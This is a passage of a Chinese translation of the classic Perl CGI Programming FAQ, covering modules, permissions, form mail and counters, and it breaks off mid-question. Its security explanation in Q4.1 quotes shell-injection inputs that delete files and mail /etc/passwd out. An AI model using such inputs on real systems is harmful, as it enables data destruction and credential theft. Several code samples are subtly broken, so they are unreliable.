发信人: tanshuai()
整理人: workingnow(2002-10-30 13:52:37), 站内信件
|
中文版 Perl CGI 程式写作常问问题集 (Perl CGI Programming FAQ)
=============================================================
版本: 1.0
原文作者:
Shishir Gundavaram <[email protected]>
Tom Christiansen <[email protected]>
中译、补充:
萧百龄 <[email protected]>
版权事宜:(复制、转载者务必遵守)
This document, and all its parts, are Copyright (c) 1996,
Shishir Gundavaram and Tom Christiansen. All rights
reservered. Permisson to distribute this collection, in part
or full, via electronic means (emailed, posted or archived)
or printed copy are granted providing that no charges are
involved, reasonable attempt is made to use the most current
version, and all credits and copyright notices are retained.
Requests for other distribution rights, including
incorporation in commercial products, such as books,
magazine articles, or CD-ROMs should be made to either of
the authors.
本文件著作权属於 Shishir Gundavaram 及 Tom Christiansen 所
有,Copyright (C) 1996。在不涉及收费营利、尽可能地使用最新
版,及所有著作权告示保持完整的情况下,作者允许任何人透过电
子形式(电子邮件、讨论群布告,或存放),或印表方式对本文件
作完整或部份发行。如欲将本文件作其他方式发行,包括将本文件
附加於商业产品,诸如书籍、杂志文章,或光碟等之中,必须事先对
二位作者其中一人提出请求,以徵得许可授权。
本中译版及译者补充部份著作权属萧百龄及两只老虎工作室所有,
Copyright (C) 1997。本中译版遵守并使用与上述原文版相同的使用
条款发行。
---------------------------------------------------------------------- -----
文体说明:
1.
译者已就原文中语焉不详、资讯过时,或可作额外补充之处附加注解。这些注解
均以星号 (*) 於适当处(通常为句尾)标示。实际的说明文字则大多紧邻星号
所在的段落,自成一段。所有注解文字均以「【译者】」起头。
2. 范例中的 Perl 程式码已由译者适度加以翻译、去除多馀的括弧,并依
perlstyle manpages 中所建议的写作格式及习惯稍作修整。
---------------------------------------------------------------------- -----
目录:
1.0 -入门简介
Q1.1: 为什麽我的 HTML page/form 需要用 script?
Q1.2: CGI 各代表什麽?
Q1.3: 到底什麽叫 script?我能拿它来能做什麽?
Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI?
Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料?
Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组?
Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站?
2.0 - Modules (模组)
Q2.1: 我是不是该用 Perl CGI modules 来写 CGI scripts
?自己做不是比较容
易吗?
Q2.2: 如何知道某个 module 该怎麽个用法?
Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ?
Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽?
Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented
(物件导向)
的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物
件导向的人使用的 libraries 吗?物件导向有多难?
3.0 - CGI 与 WWW Server
Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin
这个目录是做甚麽用的?
Q3.2: 什麽是档案使用权限?怎样改?
Q3.3: Perl 应该安装在哪里才可以执行它?
Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息?
Q3.5: 我试著打开一个档案,想把资料储存在里头,但是 open() 的指令失败
了。到底是怎麽搞的?
4.0 -程式设计疑难杂症
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?
Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用
`` URL'',这样 user 填入的资料就可以寄给我了?
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、
Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?
能不能很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在
Windows/Mac 上做。我要如何在我自己的机器上测试写好的 CGI scripts
?
Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN
(标准输入),和
STDOUT (标准输出)各是连到何处?
Q4.5: 如何写计数器?
Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除?
Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式?
Q4.8: 人家看得到我的 Perl CGI
程式吗?如果是这样的话,那不就让他们知道
我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来?
Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗?
Q4.10:
我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一
个 TYPE="password" 不是就是拿来做这个的吗?
Q4.11: 我要如何产生专门替 Netscape
设计的网页,以别於世上其他的浏览器?
Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对?
Q4.13: 我听说 Netscape 会支援 Java。这是不是说我现在得弃 Perl,改Java
了?是不是该这麽做?
Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样?
Q4.15: 为什麽我输出的资料被搅乱了(如 ``b < a'' 会被破坏掉)?
Q4.16: 为什麽我的Perl CGI 程式可以由指令列,却无法从浏览器去执行?
Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中?
Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form?
Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错?
Q4.20: 如果不靠<FORM>标签,要如何叫出 Perl CGI 程式?
Q4.21: 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽
做?
Q4.22: 那些 server 回应码 (server response codes)
是干什麽用的?有什麽意
义?
Q4.23: 为什麽 print "Location: http://host/page.html\n" 不
work?又为什
麽它只 work 一次,但随後的转向就都弄错了呢?
Q4.24: 要如何让 server 在每个 HTML
网页的底部都自动加上一个:「最近更新
日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 程
式的日期要如何取得?
Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell
就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的
事不是好得多吗?那用 C 呢?
5.0 -安全
Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全?
Q5.2: 我该特别留意哪些安全事项?
Q5.3: 为什麽大家都说 http://bigidiot.abuse-me.com/perl.exe?foo.pl
这样
很危险?会有多糟?
Q5.4: 要如何在程式中安全地使用逆向撇号(backticks,"`")?这麽做:
@ans = `grep'$user_field' some.file`; 是不是真的不安全?
Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞?
---------------------------------------------------------------------- -----
1.0 -入门简介
---------------------------------------------------------------------- -----
Q1.1: 为什麽我的 HTML page/form 需要用 script?
因为有的时候您需要在 HTML
文件中使用动态资料(非固定不变的资料)。这包括了
日期和时间这类的简单资料,或是一个显示「您是第 xxx
位访客」的计数器。但它
也可能包括根据使用者输入而得出的大饼图/条统图、资料库搜寻产生的结果, 或动
画等这类的东西。要做出像这样的东西,您唯一的方法是使用 CGI scripts
(尽管您
也可以应用客户端程式,如 Java 和 JavaScript
来达到这个目的,不过那又是完全
不同的一回事!)。
---------------------------------------------------------------------- -----
Q1.2: CGI 各代表什麽?
以下是我的编辑* Andy Oram (<http://jasper.ora.com/andyo>) 和 Linda Mui
(<http://pcnt1.ora.com>) (他们很棒!)所写的一段非常好的描述:
【译者】这是原文的第一作者 Shishir G. 指他所写的 CGI Programming
on the World Wide Web (<http://www.ora.com/info >) 一书的编
辑。
Common 向您确保 CGI 可以使用多种程式语言并和多种
不同的系统互动。它让您自由选择达到目的的方
法,不把您绑死在单独一种作法之下*。
Gateway 提示您 CGI 的力量不在於它本身所做的事,而
在於它提供了连结其他系统的潜力,例如资料库
和图形制造器。
Interface 只是表示 CGI 对如何善用其特性提供了明确的
界定-换句话说,您可以设计程式来适当利用这
个介面。
【译者】似乎有影射 Java 之意。
---------------------------------------------------------------------- -----
Q1.3: 到底什麽叫 script?我能拿它来能做什麽?
简单的说,script
就是程式!好吧、好吧,应该说二者有语意上的差别。如果您真
的想知道,那麽去买一本电脑程式设计的书来看(或许该说 script 设计 :-)
)。
您可以藉著写 CGI 程式/script
变很多魔术。您可以即时制作图形、连结资料库传
回【查询】结果,还可以连到 Internet 上其他的 servers 去。
---------------------------------------------------------------------- -----
Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI?
答案就在 perl manpage 中的前三行叙述:
Perl 是一解译式的语言,专为高效率检视文字档案、从中抽取资料,据
以印制报表而设计。
绝大多数 CGI
应用程式的任务都涉及对资料作某种程度的处理,及连结外在程式。
Perl 恰好提供了好用的工具,让人轻松愉快地达成这些任务。
---------------------------------------------------------------------- -----
Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料?
* NCSA 的 CGI 文件 (<http://hoohoo.ncsa.uiuc.edu/cgi>)
* Forms 入门指引
(<http://robot0.ge.uiuc.edu/~carlosp/cs317/ft.4-5.html>)
* 许多 CGI 资源结点
(<http://www.cs.oberlin.edu/students/thirdstream/paxtond/cgi_stuff.htm l>)
* 原始的 CGI FAQ (<http://www.best.com/~hedlund/cgi-faq>)
* Perl FAQ (<http://mox.perl.com/perl/faq/index.html>)
* 由 Lincoln Stein 所著,一份很完整的WWW 及 CGI 操作安全 FAQ
(<http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html>)
* Paul Phillips 所著,CGI 安全 FAQ
(<http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt>)
* WWW FAQ (<http://boutell.com/faq/>)
【译者】此份 FAQ 的中译版可在
http://www.acer.net/document/cwwwfaq/
(<http://www.acer.net/document/cwwwfaq/>) 处取得。
以下是由 Cye H. Waldman (<http://wwwiz.com/books/cgi-perl.html>)
所整理的 CGI 和 Perl 书籍一览表*:略
Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组?
每天有无数的 CGI 高手在「监视」著这个很有用的新闻讨论群组:
comp.infosystems.www.authoring.cgi*。
【译者】中文的讨论群中最适合做这方面的讨论的大概要算是
tw.bbs.comp.www 了。还有,请不要将 CGI 问题 post 到
comp.lang.perl.misc 上头去,别说译者没先警告您喔 ;-) 。
但是,除非您先把 FAQ 读过一遍,否则您不应该到这个版子上去随便 post
问题
(或其他任何版子;同样的道理)。
网路上有各式各样讨论 Perl、CGI,及 Web 的邮递论坛
(<http://perl.com/perl/info/mailing-lists.html>),但以底下这两个最受欢 迎:
[email protected] 【Hypermail 档案库】
(<http://www.webstorm.com/local/cgi-perl>)
这个论坛是给发展 Perl5 CGI
模组、或对此有兴趣的人用的。它并不提供任
何 CGI 支援*。
【译者】此 mailing list 已经数月没有 posts ,寿终正寝了。这
可能是由於讨论的主题-CGI::* 模组套件(详见以下第二篇
「Modules (模组)」的说明)已经有好一段时间没有更新了。模
组的维护人 Lincoln Stein 近一年多来似乎都将重心放在他的
CGI.pm 上,而 CGI.pm 也取代了 CGI::* 这个套件的地位。读者如
对 CGI::* 或 CGI.pm 有问题的话可写到 comp.lang.perl.modules
上头去。
[email protected] 【Hypermail 档案库】
(<http://www.ics.uci.edu/WebSoft/libwww-perl/archive>)
libwww-perl 这个 library 套件为 Web
客户及伺服程式设计提供了一套简便的
介面*。
【译者】此 mailing list 不适合做 CGI 的讨论。libwww-perl 是
一项以 Perl 为发展工具、类似 W3C/CERN 的 libwww
(<http://www.w3.org/pub/WWW/Library/>) 的计画(後者用的是 C
)。
您可以在:
http://www.ics.uci.edu/pub/websoft/libwww-perl
(<http://www.ics.uci.edu/pub/websoft/libwww-perl>)取得旧的
(Perl4)
libwww-perl 的相关资料。
最新的 Perl5 libwww 套件可在:
http://www.sn.no/~libwww-perl/ (<http://www.sn.no/libwww-perl/>)
处取
得。
CPAN: Perl 模组同时也可以在多重复制、分散式的 CPAN
(<http://www.perl.com/CPAN/README.html>)
系统取得。这会自动替您选择一个「
靠近您的站
(<http://www.perl.com/perl/news/cpan-mux.html>)」。譬如说,您可
以抓 LWP 模组的 source (<http://perl.com/cgi-bin/cpan_mod?module=LWP>)
或只
抓它的 readme
(<http://perl.com/cgi-bin/cpan_mod?module=LWP&readme=1>)。
---------------------------------------------------------------------- -----
Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站?
是的,您可以试试 The Usenet Newstand
(<http://CriticalMass.com/Concord/>)。
所有comp.infosystems.www.* 讨论群组的文章都收集在那儿*。同时,cgi-perl
及
libwww 这两个邮递论坛他们也有收集。
【译者】您同时可以试试 DejaNews (<http://www.dejanews.com/>) 、
AltaVista (<http://www.altavista.digital.com/>) ,和 HotBot
(<http://www.hotbot.com/>) 这几个搜寻引擎/资料库。 DejaNews
(<http://www.dejanews.com/>) 甚至连 tw.bbs.* 都收集(其他两个或
许也有,但译者没试过)。
---------------------------------------------------------------------- -----
2.0 - Modules (模组)
---------------------------------------------------------------------- -----
Q2.1: 我是不是该用 Perl CGI modules* 来写 CGI scripts
?自己做不是比较容易
吗?
【译者】 CGI modules 在此指 CGI.pm 及其他 CGI::* 的模组;详见
Q2.4 。
这完全取决於您要做的是什麽。CGI modules 较适合重量级的 CGI scripts
。如果
是简单的 scripts 的话,自己做或者是用 CGI Lite
这个模组会简便许多。如果您
真的愿意,您甚至可以用旧的 Perl4 cgi-lib.pl 这个 library*。
【译注】作者 Tom C. 之所以这麽说是因为他基本上不赞成使用
cgi-lib.pl ,有兴趣的读者可以看他写的 Why I am not fond of
cgi-lib.pl (<http://www.perl.com/perl/info/www/!cgi-lib.html>)
(为什麽我不欣赏 cgi-lib.pl )。
---------------------------------------------------------------------- -----
Q2.2: 如何知道某个 module 该怎麽个用法?
大多数 modules 的使用说明是直接嵌在程式里的*。如果是这样的话,您可以用
pod2man 这个 script 来阅读使用指南:
% pod2text name_of_module.pm
% pod2man name_of_module.pm | nroff -man | more
【译注】如果您在 *.pm 档中看到 ``=head1''、``=cut'' 这类的东西便
是显示使用说明有附在里头。这是 Larry Wall 设计的 POD (Plain Old
Document) 格式。详见 perlpod manpages。
---------------------------------------------------------------------- -----
Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ?
最广为使用的 Perl4 CGI library 是 Steve Brenner 的 cgi-lib.pl
(<http://www.bio.cam.ac.uk/web/form.html>)。
---------------------------------------------------------------------- -----
Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽?
CGI.pm
(<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/CGI.pm.tar.gz>)*
这个很棒的 module 在功能上和部分 CGI::* modules
相重叠。如果您不想和多
重 modules
打交道的话,您可以只用这一个。我们等一下在後头会给您看一个
用 CGI.pm 来替 CGI scripts 除错的实例。
此外,Lincoln (Lincoln Stein;CGI.pm 的作者)还写了一本讨论 Web
和
CGI 非常好的书,叫 How To Set Up and Maintain a World Wide Web
Site
(<http://www.aw.com/cp/Stein2e.html>)。
【译者】建议读者多使用 CGI.pm 。CGI::* 已经有很长一段时间没
有更新了,而 CGI.pm 则不断的有改良的新版推出,并已加入对
FastCGI (<http://www.fastcgi.com/>) 的支援,因此对 FastCGI
的使用者也相当方便。此外,mod_perl
(<http://www.osf.org/~dougm/apache/>) (Apache
(<http://www.apache.org/>) 的 perl module)中所附的 CGI::XA
,也是由 CGI.pm 改进而来的。 CGI.pm 让使用者免除自己做低阶资
料处理(如印 HTTP 标头、替 form, cookies 资料解码等)的麻
烦。
CGI::* 模组套件
(<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/CGIperl/>)
这些模组原先大多是由 Tim Bunce 所写,现在则由 Lincoln Stein
来负责维
护。它们的功能包括了帮您产生及处理 form ,替 CGI
程式除错,以及在不同
的 forms 之间维系一个状态值。
CGI Lite
(<http://dongpo.math.ncu.edu.tw/perl/CPAN/authors/id/SHGUN/CGI_Lite-1. 62.pm.gz>)
这个轻量级的 module 是 CGI::* modules
之外的另一个选择。它可算是在老旧
的 cgi-lib.pl (<http://www.bio.cam.ac.uk/web/form.html>)
之上改良、加
料後的产物。
以上三者均有能力处理 multipart form 资料(即上传)。
---------------------------------------------------------------------- -----
Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented
(物件导向)的?
我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人 使用
的 libraries 吗?物件导向有多难?
其实使用物件导向的 modules 并不难。先去看看 Tom Christiansen 的 Easy
Intro
to Using Perl Objects
(<http://perl.com/perl/everything_to_know/easy_objects.html>)
(简单介绍如
何使用 Perl 物件)吧。
前头提到的 CGI modules 用起来真的是很容易!这里有一个用 CGI Lite 印出
form
资料的实例*:
【译者】CGI.pm 的使用说明
(<http://www-genome.wi.mit.edu/ftp/pub/software/WWW/>)中有更多范
例可供参考。
#!/usr/local/bin/perl -w
use CGI_Lite;
$cgi = new CGI_Lite;
%data = $cgi->parse_form_data;
print "Content-type: text/plain", "\n\n";
foreach $key (keys %data) {
print $key, " = ", $data{$key}, "\n";
}
exit 0;
要注意的是,即使您机器上的 Perl
不是您装的(您不是系统管理者),或是您权限
不够无法将这些 modules 和其他的 Perl library
档案安装在同一个地方,您还是
可以使用这些 modules 的 --
只要将它们摆在一个自己方便的地方,然後在您的
script 开始处加上*:
BEGIN {
unshift @INC, "/your/dir/favorite/place";
}
【译者】建议改用较新的方式:
use lib qw(/your/dir/favorite/place);
好。以下是一个用到 CGI::* modules 的例子:
#!/usr/local/bin/perl -w
use CGI::Form;
$cgi_form = new CGI::Form;
print <<'End_of_Header';
<HTML>
<HEAD><TITLE>看著我做!</TITLE></HEAD>
<BODY>
<H1>看著我做!</H1>
End_of_Header
print $form->startform;
## 产生一个单行输入栏位 (text field)
print '姓名: ';
print $form->textfield('name'), "<BR>\n";
## 产生一组单选按纽 (radio buttons)
print '<P>您住哪儿: <BR>';
print $form->radio_group(-name => 'where',
-values => ['北美洲',
'南美洲',
'欧洲',
'澳洲',
'亚洲',
'南极洲'],
-default => '北美洲',
-linebreak => 'true');
## 产生一个多行输入栏位 (textarea)
print '意见: ';
print $form->textarea('comments', undef, 5, 40);
print "<P>";
print $form->reset;
print $form->defaults;
print $form->submit('送出!', 'Submit');
print $form->endform;
print "</BODY></HTML>";
reset、defaults,及submit三种方法( methods )
会产生不同的类型的按钮。reset
这个按钮让您把目前 form
栏位中所填的资料洗掉,并显示属於上一个状态(或回
合)的资料。 defaults 这个按钮则是将form 栏位资料彻底洗去。还有 submit
这
个方法产生一个送出钮以便让人将资料送至 server 处。
您看,不是很容易吗?
3.0 - CGI 与 WWW Server
---------------------------------------------------------------------- -----
Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的?
server 通常是设定成去执行放在 ``cgi-bin'' 目录底下的 CGI 程式。不过,
server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如
..cgi
、.pl)的 scripts 都能执行*。
【译者】设定 CGI aliases 和副档名固然很方便,但 server 管理者须注
意到相关的安全问题。
---------------------------------------------------------------------- -----
Q3.2: 什麽是档案使用权限?怎样改?
档案权限是根据使用者识别代号(又称
uid),以及他们所属的团体来决定是否赋与
使用者读、写,和执行某档案的权利。您可使用 chmod
这个指令去修改档案的使用
权限。例如:
% ls -ls form.cgi
1 -rwx------ 1 shishir 974 Oct 31 22:15 form.cgi*
此一档案的权限为
0700(八进制),意味著没有人(档案所有人除外)能够读取、
写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权限:
% chmod 755 form.cgi
% ls -ls form.cgi
1 -rwxr-xr-x 1 shishir 974 Oct 31 22:15 form.cgi*
这样一来,权限就变了。现在和 ``shishir''
在同一个团体的使用者,还有其他任
何的使用者都有权利去读取和执行这个档案了。
如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod
manpages的说明。
---------------------------------------------------------------------- -----
Q3.3: Perl 应该安装在哪里才可以执行它?
Perl 可以安装在系统上任何一个角落!您唯一要注意的是 server
不能在chroot 的
环境下跑,否则它便无法跑 perl
解译器。换言之,系统管理者可以把根目录改变,
让 ``/'' 指到另一个目录,而不是实际真正的根目录(``/'')。
---------------------------------------------------------------------- -----
Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息?
以下几种情形会触发这个错误讯息:
* 如果 script 开头的地方没有 ``#!/usr/local/bin/perl'' 这个指到
Perl 解
译器的标头,或者是指到解译器(或 library 档)的路径错误。
* 如果 script 输出的第一行是一个不正确的标头(即 ``Content-Type:
text/html'' ),或者是该标头後面没有跟著一个空行。
* 如果您的 script 有句法上的错误。您的 scripts
都应在指令列先跑跑看才
是。
---------------------------------------------------------------------- -----
Q3.5: 我试著打开一个档案,想把资料储存在里头,但是 open()
的指令失败了。到
底是怎麽搞的?
一般说来,HTTP server 是以
``nobody''、``www'',或其他这类权限低的使用者的
身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server
跑的使用
者 ID 必须要是可写(writable)才行。
为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return
status
),看看 open 有没有成功。
open(FILE, "/abc/data.txt")
|| error("Could not open file /abc/data.txt");
.
.
.
sub error {
my($message) = @_;
print <<End_of_Error;
Content-type: text/html
Status: 500 CGI Error
<HTML>
<HEAD><TITLE>CGI Error</TITLE></HEAD>
<BODY>
<H1>Oops! Error</H1>
<HR>
$message
<HR>
</BODY>
</HTML>
End_of_Error
}
4.0 -程式设计疑难杂症
---------------------------------------------------------------------- -----
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?
其实做这个很容易。您的 CGI script 必须能做到这两件事:
1. 将 form 中的资料整理出来。别忘了,所有的 form 资料都会被
URL-编码起来
(先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart
MIME资料)。
2. 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form
资料写过去。
我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail:
$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, "| /usr/bin/sendmail -t -n";
print SENDMAIL <<End_of_Mail;
From: $from <$name>
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail
有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以
``nobody''
这个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信
的时後)。加上 ``Reply-To'' 的信头这个问题便解决了。
网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:
【译者】gateway 在此指送 email 的 CGI 程式
open MAIL, "| mail -s 'Subject' $to";
^
|
+--
可能会出问题的漏洞!!!
如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号
(metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user
输入了以下
的资料:
; rm -fr / ;
那麽您的麻烦可大了*。
【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。
另一个危险的符号是 ``&''。
在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得
视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权
限使用者身份跑的原因)。至少那些由 CGI 程式制造出来,但又没
有备份的档案,是真的要跟它们永别了。
; mail [email protected] </etc/passwd
那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一
个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装
shadow-password 的 UNIX 系统来说,实在不太好玩。如果 server
错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为
远方的 cracker 甚至可以让这个 CGI 的 email script 给他送
/etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。
----------------------------------------------------------------------
Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用
`` URL'',这样 user 填入的资料就可以寄给我了?
很不幸地,
的指令并不是所有的浏览器都支援。如果您在档案中用了它
的话,会限制了那些使用没有支援 的浏览器的人,让他们无法送
mail 给您*。
【译者】尽管如此,您或许不会在乎那占极少数比例的使用者
(Netscape 、 IE,和 lynx 等浏览器都支援 )。
----------------------------------------------------------------------
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、
Windows 及 NT?我的 Perl CGI
程式能不能在这些平台之间互相移植呢?能不
能很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在
Windows/Mac
上做。我要如何在我自己的机器上测试写好的 CGI scripts*?
Perl 已经被移植到上述所有的平台上了。因此,您的 Perl CGI
程式照理应不
难移植。但如果您使用到一些 UNIX
上的程式,那麽您的程式可能会不好移
植。如果您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有
问题。
【译者】原 FAQ 并未回答最後这个问题。要在 Windows/OS2/Mac 等
非 UNIX 平台上测式您的 scripts ,您可以使用 CGI.pm (支援以
上所有平台),配合 Q4.19 中提示的除错技巧,或在自己的机器上
安装 HTTP server 软体。如此就不用辛苦的连上主机去测式了。
----------------------------------------------------------------------
Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN
(标准输入),
和 STDOUT (标准输出)各是连到何处?
在 CGI 环境下,STDERR 会指向 server 的错误讯息档 (error
log)。您可以
善加利用这个特性,把除错的讯息写到
STDERR,然後您便可藉查看错误讯息档
来帮您除错。
STDIN 和 STDOUT 则都和浏览器相连。实际上,STDIN 连的是 server。
server
会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。
您也可以用将 STDERR 「复制」到 STDOUT
的方法来抓错误讯息。这应该在
script 靠前头的地方做(但应在您输出合适的 HTTP 标头之後):
open STDERR, ">&STDOUT";
这会将所有的错误讯息都转送到 STDOUT (即浏览器)去。
----------------------------------------------------------------------
Q4.5: 如何写计数器?
计数器一类的程式相当流行。其实计数器的原理很简单,不过是:
o 用一个档案去储存资料。
o 每当有人光临网站,增大档案中所计的数字。
以下是一个简单的计数器的实例:
#!/usr/local/bin/perl -w
$counter = "/home/shishir/counter.dat";
print "Content-type: text/plain", "\n\n";
open(FILE, $counter) || die "Cannot read from the counter
file.\n";
flock FILE, 2;
$visitors = <FILE>;
flock FILE, 8;
close FILE;
open(FILE, ">$counter") || die "Cannot write to counter
file.\n";
flock FILE, 2;
print FILE $visitors;
flock FILE, 8;
close FILE;
现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)*
的方
式来显示该计数器:
【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日
期和时间,或计数器显示等,在客户请求一网页时即时加入该文件
中。支援 SSI 的 servers 包括了 NCSA
(<http://hoohoo.ncsa.uiuc.edu>)、Apache
(<http://www.apache.org/>),和Netscape Enterprise Server
(<http://home.netscape.com/comprod/server_central/product/enterprise/> )
等。 SSI 固然是一项便利的设计,但如过份滥用,不但会减低
server 性能,更可能招来安全上的危机。
您是第
<!--#exec cgi="/cgi-bin/counter.pl-->
位光临本站的客人。
----------------------------------------------------------------------
Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML
标签从一份文件中删除?
以下这个简单的 regular expression 可用来去除 HTML 标签*:
【译者】
1. 要让这个 regular expression 跨行执行,您必须先将您的
script 由预设的按行执行模式 (line mode) 改为按段执行模
式 (paragraph mode)。您可以在指令列以:
perl -00 -we '...'
的方式;或是在 script 中以:
#!/usr/bin/perl -00
或
$/ = "";
的方式来设定按段执行模式。
2. 除非您需要对欲删除的 HTML 标签中的内容做进一步的处理或
利用,否则本例中最外围的一对括弧可去掉。
$line =~ s/<(([^ >]|\n)*)>//g;
详细的相关资料,请看 Tom [Christiansen] 的 striphtml 程式
(<ftp://perl.com/perl/scripts/striphtml>),这个程式同时也收录在他的
tour of perl5 regexps
(<http://perl.com/perl/all_about/regexps.html>)
讲义中。
----------------------------------------------------------------------
Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式?
您可以从 HTTP_USER_AGENT 这个环境变数得知使用者所用的浏览器。
【摘自 WWW FAQ】
您的 CGI script
可以利用五个重要的环境变数来帮忙辨识使用者的身份。
* HTTP_FROM
这个环境变数理论上应设为使用者的email地址。但是许多浏览
器完全不加以设定【即不支援】,而大部份支援这个变数的浏览器又让使
用者自由设定这个值。因此,建议读者顶多拿它来做为 email form
中回
信地址的预设值。
* REMOTE_USER 这个变数唯有当 script
在安全认证的保护下执行时才会被
设定。从 AUTH_TYPE
这个变数可以知道所用的认证方法是属於哪一个类
型。REMOTE_USER
则会含有正接受认证的使用者的名字。要注意的是,
REMOTE_USER
只有在使用安全认证的时候才会被设定,而且不是所有的
servers 都支援。在 NCSA server
底下,如果认证所使用的传输方式没
有列入 access.conf 档中(也就是说,应使用 <Limit GET
POST>,而不是
仅仅用预设的 <Limit GET>),认证可能会出人意外地失败。
* REMOTE_IDENT 如果 server 能连接上客户端的 IDENT
server,它会将这
个变数设成远方使用者的身份。但由於向IDENT server
查询的动作太花
时间,大部份的 servers
都把这项功能关掉。更何况,客户端的机器是
否会回应查询,又是否会诚实以对,都是无法确定的。
* REMOTE_HOST
*
这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正
用来连线的机器名称,只要 server
能找得出来。由於我们无法确切得知
使用者的真实身份【请看前一个环境变数的说明】,有的时候使用可确认
的位址来替代,不失为一个可行的变通方法。在 server
查不到远端的机
器名称,或者是为增加 server
的处理速度而将这个查询功能关掉的情况
下,这个变数是空的;请看底下 REMOTE_ADDRESS
一项的说明。还有,别
忘了您可能会发现所有使用同一个 proxy (代理人) server
的使用者的
机器名都变成了那台 proxy server 的名字。
* REMOTE_ADDR
这个变数的设定值并不包括远端使用者的真实身份,但是会
提供使用者正用来连线的机器的资料。REMOTE_ADDR 会包含客户端的
IP
位址,以用点隔开的十进位数字的形式来表示。由於我们无法确切得知使
用者的真实身份
[请看前一个环境变数的说明],有的时候使用可确认的
位址来替代,不失为一个可行的变通方法。和前一项 REMOTE_HOST
不同
的是,这个变数一定会被设定。还有,别忘了您可能会发现所有使用同一
个 proxy (代理人) server 的使用者的机器位址都变成了那台
proxy
server 的位址。
【摘录自 WWW FAQ 部份完】
----------------------------------------------------------------------
Q4.8: 人家看得到我的 Perl CGI
